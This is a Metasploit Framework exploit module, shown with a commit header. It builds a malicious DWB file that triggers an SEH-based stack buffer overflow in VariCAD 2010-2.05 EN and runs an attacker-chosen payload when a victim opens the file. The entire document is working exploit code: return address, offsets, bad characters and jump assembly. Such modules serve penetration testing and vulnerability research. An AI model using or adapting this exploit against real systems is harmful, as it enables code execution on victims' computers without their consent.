Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
91 lines
2.3 KiB
Ruby
91 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
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An attacker must send the file to victim and the victim must open the file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'n00b', # first public exploit
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'dookie', # metasploit first pass
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'MC', # cleanup pass 1 & second offset
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'jduck' # cleanup pass 2 & combined offsets
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '63067' ],
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[ 'BID', '38815' ],
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[ 'EDB', '11789' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x0a\x3d",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 17 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.dwb']),
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], self.class)
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end
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def exploit
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header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
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sploit = rand_text_alpha_upper(1000) * 50
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# Add SEH frames..
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seh = generate_seh_record(target.ret)
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offsets = [ 26252, 22856 ]
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sploit[0,payload.encoded.length] = payload.encoded
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offsets.each { |off|
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sploit[off,seh.length] = seh
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distance = seh.length + off
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jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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sploit[off+seh.length,jmp.length] = jmp
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}
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(header + sploit)
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end
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end
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